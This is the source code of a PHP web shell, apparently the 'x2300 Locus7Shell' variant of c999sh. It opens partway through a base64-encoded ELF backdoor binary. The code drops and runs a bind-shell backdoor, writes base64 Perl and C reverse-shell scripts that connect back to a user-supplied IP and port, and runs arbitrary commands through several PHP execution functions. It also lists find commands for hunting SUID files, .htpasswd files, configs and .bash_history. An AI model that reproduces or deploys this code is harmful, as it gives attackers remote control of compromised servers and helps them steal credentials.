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2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; + +function checkproxyhost(){ +$host = getenv("HTTP_HOST"); +$filename = '/tmp/.setan/xh'; +if (file_exists($filename)) { +$_POST['proxyhostmsg']="</br></br><center><font color=green size=3><b>Success!</b></font></br></br><a href=$host:6543>$host:6543</a></br></br><b>Note:</b> If '$host' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>"; +} else { +$_POST['proxyhostmsg']="</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>"; +} +} + +if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) +{ +$ip = gethostbyname($_SERVER["HTTP_HOST"]); +$por = $_POST['backconnectport']; +if(is_writable(".")){ +cfb("shbd",$backdoor); +ex("chmod 777 shbd"); +$cmd = "./shbd $por"; +exec("$cmd > /dev/null &"); +$scan = myshellexec("ps aux"); +if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } +$_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; +}else{ +cfb("/tmp/shbd",$backdoor); +ex("chmod 777 /tmp/shbd"); +$cmd = "./tmp/shbd $por"; +exec("$cmd > /dev/null &"); +$scan = myshellexec("ps aux"); +if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } +$_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) +{ +if(is_writable(".")){ +cf("back",$back_connect); +$p2=which("perl"); +$blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); +$_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; +if (file_exists("back")) { unlink("back"); } +}else{ +cf("/tmp/back",$back_connect); +$p2=which("perl"); +$blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); +$_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; +if (file_exists("/tmp/back")) { unlink("/tmp/back"); } +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) +{ +if(is_writable(".")){ +cf("backc",$back_connect_c); +ex("chmod 777 backc"); +//$blah = ex("gcc back.c -o backc"); +$blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); +$_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; +//if (file_exists("back.c")) { unlink("back.c"); } +if (file_exists("backc")) { unlink("backc"); } +}else{ +ex("chmod 777 /tmp/backc"); +cf("/tmp/backc",$back_connect_c); +//$blah = ex("gcc -o /tmp/backc /tmp/back.c"); +$blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); +$_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; +//if (file_exists("back.c")) { unlink("back.c"); } +if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } } +} + +function cf($fname,$text) +{ +$w_file=@fopen($fname,"w") or err(); +if($w_file) +{ +@fputs($w_file,@base64_decode($text)); +@fclose($w_file); +} +} + +function cfb($fname,$text) +{ +$w_file=@fopen($fname,"w") or bberr(); +if($w_file) +{ +@fputs($w_file,@base64_decode($text)); +@fclose($w_file); +} +} + +function err() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>"; +} + +function bberr() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>"; +} + +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function ex($cfe) +{ +$res = ''; +if (!empty($cfe)) +{ + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } +} +return $res; +} +//EoW + + + + + + + + + + + + + + + + +//Start Enumerate function +//function ENUMERATE() + +$hostname_x=php_uname(n); +$itshome = getcwd(); +$itshome = str_replace("/home/","~",$itshome); +$itshome = str_replace("/public_html","/x2300.php",$itshome); +$enumerate = "http://".$hostname_x."/".$itshome.""; + +//End Enumerate function + +//Starting calls +ini_set("max_execution_time",0); +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +$adires=""; +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0a beta"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c999sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c999sh_surl",$surl);} +else {$surl = $_REQUEST["c999sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ +$surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +$login = ""; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = ""; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "<a href=\"http://ALTURKS.COM\">x2300 Locus7Shell v.".$shver."</a>: access denied"; + +$gzipencode = TRUE; //Encode with gzip? + +$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) + +$c999sh_updateurl = "http://ALTURKS.COM/files/lshell_update/"; //Update server +$c999sh_sourcesurl = "http://ALTURKS.COM/"; //Sources-server + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "<center><b>x2300 Locus7Shell - Edited By KingDefacer</b></center>"; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( +"html"=>array("html","htm","shtml"), +"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), +"exe"=>array("sh","install","bat","cmd"), +"ini"=>array("ini","inf"), +"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), +"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), +"sdb"=>array("sdb"), +"phpsess"=>array("sess"), +"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); +if (empty($dizin)) {$dizin = realpath(".");} elseif(realpath($dizin)) {$dizin = realpath($dizin);} +$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); +if (substr($dizin,-1) != DIRECTORY_SEPARATOR) {$dizin .= DIRECTORY_SEPARATOR;} +$dizin = str_replace("\\\\","\\",$dizin); +$dizinispd = htmlspecialchars($dizin); +/*dizin*/ +$real = realpath($dizinispd); +$path = basename ($PHP_SELF); +function dosyayicek($link,$file) +{ + $fp = @fopen($link,"r"); + while(!feof($fp)) + { + $cont.= fread($fp,1024); + } + fclose($fp); + + $fp2 = @fopen($file,"w"); + fwrite($fp2,$cont); + fclose($fp2); +} + + + + +$exeftypes = array( +getenv("PHPRC")." -q %f%" => array("php","php3","php4"), +"perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. +// array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c999"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +// Command-aliases +if (!$win) +{ +$cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") +); +} +else +{ +$cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") +); +} + +$sess_cookie = "c999shvars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( +array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), +array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), +array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), +array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), +array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), +array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), +array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), 